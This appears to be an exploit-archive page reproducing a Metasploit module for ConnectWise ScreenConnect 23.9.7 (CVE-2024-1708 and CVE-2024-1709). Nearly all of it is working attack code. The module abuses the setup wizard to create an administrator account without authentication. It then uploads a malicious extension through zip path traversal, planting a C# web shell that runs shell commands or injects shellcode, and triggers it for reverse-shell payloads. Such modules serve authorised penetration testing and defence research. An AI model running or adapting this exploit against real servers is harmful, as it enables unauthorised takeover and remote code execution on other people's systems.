ConnectWise ScreenConnect 23.9.7 Unauthenticated Remote Code Execution

Related Vulnerabilities: CVE-2024-1708  
Publish Date: 24 Feb 2024
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ConnectWise ScreenConnect Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
          a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
          this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
          and below are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF RCE Exploit
          'WatchTowr', # Auth Bypass PoC
        ],
        'References' => [
          ['CVE', '2024-1708'], # Path traversal when extracting zip file.
          ['CVE', '2024-1709'], # Auth bypass to create admin account.
          ['URL', 'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8'], # Vendor Advisory
          ['URL', 'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/'], #  Auth Bypass PoC
          ['URL', 'https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass'] #  Analysis of both CVEs
        ],
        'DisclosureDate' => '2024-02-19',
        'Platform' => %w[win linux unix],
        'Arch' => [ARCH_X64, ARCH_CMD],
        'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows, root on Linux.
        'Targets' => [
          [
            # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:
            # windows/x64/meterpreter/reverse_tcp
            'Windows In-Memory', {
              'Platform' => 'win',
              'Arch' => ARCH_X64
            }
          ],
          [
            # Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:
            # cmd/windows/http/x64/meterpreter/reverse_tcp
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'FETCH_WRITABLE_DIR' => '%TEMP%'
              }
            }
          ],
          [
            # Tested ScreenConnect 20.3.31734 on Ubuntu 18.04.6 with payloads:
            # cmd/linux/http/x64/meterpreter/reverse_tcp
            # cmd/unix/reverse_bash
            'Linux Command', {
              'Platform' => %w[linux unix],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8040,
          'SSL' => false,
          'EXITFUNC' => 'thread'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            CONFIG_CHANGES,
            # The existing administrator account will be replaced
            ACCOUNT_LOCKOUTS
          ]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alpha_lower(8)]),
      OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(16)])
    ])
  end

  def check
    # This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and
    # a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint
    # expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive
    # we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and
    # will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include
    # the Server header, which we use to confirm both ScreenConnect and the version number.
    host_aspx = 'Host.aspx'

    host_aspx = loop do
      jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join
      break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, host_aspx)
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404

    platform = res.code == 302 ? 'Windows' : 'Linux'

    if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(\d+\.\d+.\d+)})

      detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}."

      if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('23.9.7')
        return CheckCode::Appears(detected)
      end

      return CheckCode::Safe(detected)
    end

    CheckCode::Unknown
  end

  def exploit
    # Sanity check the USERNAME and PASSWORD will meet the servers password requirements.
    fail_with(Failure::BadConfig, 'USERNAME must not be empty.') if datastore['USERNAME'].empty?
    fail_with(Failure::BadConfig, 'PASSWORD must be 8 characters of more.') if datastore['PASSWORD'].length < 8

    #
    # 1. Begin the setup wizard using the vulnerability to access the SetupWizard.aspx page.
    #
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/')
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply when initiating setup wizard.')
    end

    viewstate, viewstategen = get_viewstate(res)
    unless viewstate && viewstategen
      fail_with(Failure::UnexpectedReply, 'Did not locate the view state after initiating setup wizard.')
    end

    #
    # 2. Advance to the next step in the setup.
    #
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),
      'vars_post' => {
        '__EVENTTARGET' => '',
        '__EVENTARGUMENT' => '',
        '__VIEWSTATE' => viewstate,
        '__VIEWSTATEGENERATOR' => viewstategen,
        'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton' => 'Next'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from first step in setup wizard.')
    end

    viewstate, viewstategen = get_viewstate(res)
    unless viewstate && viewstategen
      fail_with(Failure::UnexpectedReply, 'Did not locate the view after first step in setup wizard.')
    end

    #
    # 3. Create a new administrator account.
    #
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),
      'vars_post' => {
        '__EVENTTARGET' => '',
        '__EVENTARGUMENT' => '',
        '__VIEWSTATE' => viewstate,
        '__VIEWSTATEGENERATOR' => viewstategen,
        'ctl00$Main$wizard$userNameBox' => datastore['USERNAME'],
        'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: datastore['USERNAME']).to_s,
        'ctl00$Main$wizard$passwordBox' => datastore['PASSWORD'],
        'ctl00$Main$wizard$verifyPasswordBox' => datastore['PASSWORD'],
        'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton' => 'Next'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from create account step in setup wizard.')
    end

    print_status("Created account: #{datastore['USERNAME']}:#{datastore['PASSWORD']} (Note: This account will not be deleted by the module)")

    #
    # 4. Log in with this account to get an authenticated HTTP session.
    #
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Administration'),
      'keep_cookies' => true,
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to login with admin credentials.')
    end

    if res.body =~ %r{"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"}
      anti_forgery_token = Regexp.last_match(1)
    else
      # The antiForgeryToken is not present in older versions of ScreenConnect (Tested with 20.3.31734).
      print_warning('Could not locate anti forgery token after login with admin credentials.')
      anti_forgery_token = ''
    end

    #
    # 5. Create an extension to host the payload.
    #

    # NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want, so we use
    # Faker::Internet.uuid instead.
    plugin_guid = Faker::Internet.uuid

    payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx"

    # According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are
    # the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for
    # use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly
    # generate a valid keyword.
    vars = Rex::RandomIdentifier::Generator.new({
      forbidden: %w[
        abstract add alias and args as ascending async await
        base bool break by byte case catch char checked class const continue decimal default delegate descending do
        double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get
        global goto group if implicit in init int interface internal into is join let lock long managed nameof
        namespace new nint not notnull nuint null object on operator or orderby out override params partial private
        protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof
        stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort
        using value var virtual void volatile when where while with yield
      ]
    })

    if target['Arch'] == ARCH_CMD
      payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>
using System;
using System.Web;
using System.Diagnostics;

public class #{vars[:var_handler_class]} : IHttpHandler
{
  public void ProcessRequest(HttpContext #{vars[:var_ctx]})
  {
    if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {
      return;
    }

    byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);

    string #{vars[:var_payload]} = System.Text.Encoding.UTF8.GetString(#{vars[:var_bytearray]});

    ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo();

    #{vars[:var_psi]}.FileName = "#{target['Platform'] == 'win' ? 'cmd.exe' : '/bin/sh'}";

    #{vars[:var_psi]}.Arguments = "#{target['Platform'] == 'win' ? '/c' : '-c'} \\\"" + #{vars[:var_payload]} + "\\\"";

    #{vars[:var_psi]}.RedirectStandardOutput = true;

    #{vars[:var_psi]}.UseShellExecute = false;

    Process.Start(#{vars[:var_psi]});
  }

  public bool IsReusable { get { return true; } }
})
    else
      payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>
using System;
using System.Web;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class #{vars[:var_handler_class]} : IHttpHandler
{
  [System.Runtime.InteropServices.DllImport("kernel32")]
  private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);

  [System.Runtime.InteropServices.DllImport("kernel32")]
  private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);

  public void ProcessRequest(HttpContext #{vars[:var_ctx]})
  {
    if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {
      return;
    }

    byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);

    IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40);

    Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length);

    IntPtr #{vars[:var_thread_id]} = IntPtr.Zero;

    CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]});
  }

  public bool IsReusable { get { return true; } }
})
    end

    manifest_data = %(<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
  <Version>#{Faker::App.version}</Version>
  <Name>#{Faker::App.name}</Name>
  <Author>#{Faker::Name.name}</Author>
  <ShortDescription>#{Faker::Lorem.sentence}</ShortDescription>
  <Components>
    <WebServiceReference SourceFile="#{payload_ashx}"/>
  </Components>
</ExtensionManifest>)

    zip_resources = Rex::Zip::Archive.new
    zip_resources.add_file("#{plugin_guid}/Manifest.xml", manifest_data)
    # We can leverage CVE-2024-1708 to write one level below the extension directory. This enable Linux targets to work.
    zip_resources.add_file("#{plugin_guid}/../#{payload_ashx}", payload_data)

    #
    # 6. Upload the payload extension.
    #
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'InstallExtension'),
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => "[\"#{Base64.strict_encode64(zip_resources.pack)}\"]",
      'headers' => {
        'X-Anti-Forgery-Token' => anti_forgery_token
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to install extension.')
    end

    print_status("Uploaded Extension: #{plugin_guid}")

    if target['Platform'] == 'win'
      # On Windows the current working directory is C:\Windows\System32\ and we dont leak out the install path
      # so we use the default installation location...
      register_files_for_cleanup("C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\#{payload_ashx}")
    else
      # For Linux the current working is the install path (/opt/screenconnect) so we can use a relative path...
      register_files_for_cleanup("App_Extensions/#{payload_ashx}")
    end

    begin
      #
      # 7. Trigger the payload by requesting the extensions .ashx file.
      #
      if target['Arch'] == ARCH_CMD
        payload_data = payload.encoded.gsub('\\', '\\\\\\\\')
      else
        payload_data = payload.encoded
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'App_Extensions', payload_ashx),
        'keep_cookies' => true,
        'vars_post' => {
          vars[:var_payload_key] => Base64.strict_encode64(payload_data)
        }
      )

      unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to trigger payload.')
      end
    ensure
      #
      # 8. Ensure we remove the extension when we are done.
      #
      print_status("Removing Extension: #{plugin_guid}")

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'UninstallExtension'),
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'data' => "[\"#{plugin_guid}\"]",
        'headers' => {
          'X-Anti-Forgery-Token' => anti_forgery_token
        }
      )

      unless res&.code == 200
        print_warning('Failed to remove the extension.')
      end
    end
  end

  def get_viewstate(res)
    vs_input = res.get_html_document.at('input[name="__VIEWSTATE"]')
    unless vs_input&.key? 'value'
      print_error('Did not locate the __VIEWSTATE.')
      return nil
    end

    vsgen_input = res.get_html_document.at('input[name="__VIEWSTATEGENERATOR"]')
    unless vsgen_input&.key? 'value'
      # The __VIEWSTATEGENERATOR is not present in older versions of ScreenConnect (Tested with 20.3.31734).
      print_warning('Did not locate the __VIEWSTATEGENERATOR.')
      return [vs_input['value'], '']
    end

    [vs_input['value'], vsgen_input['value']]
  end
end
<p>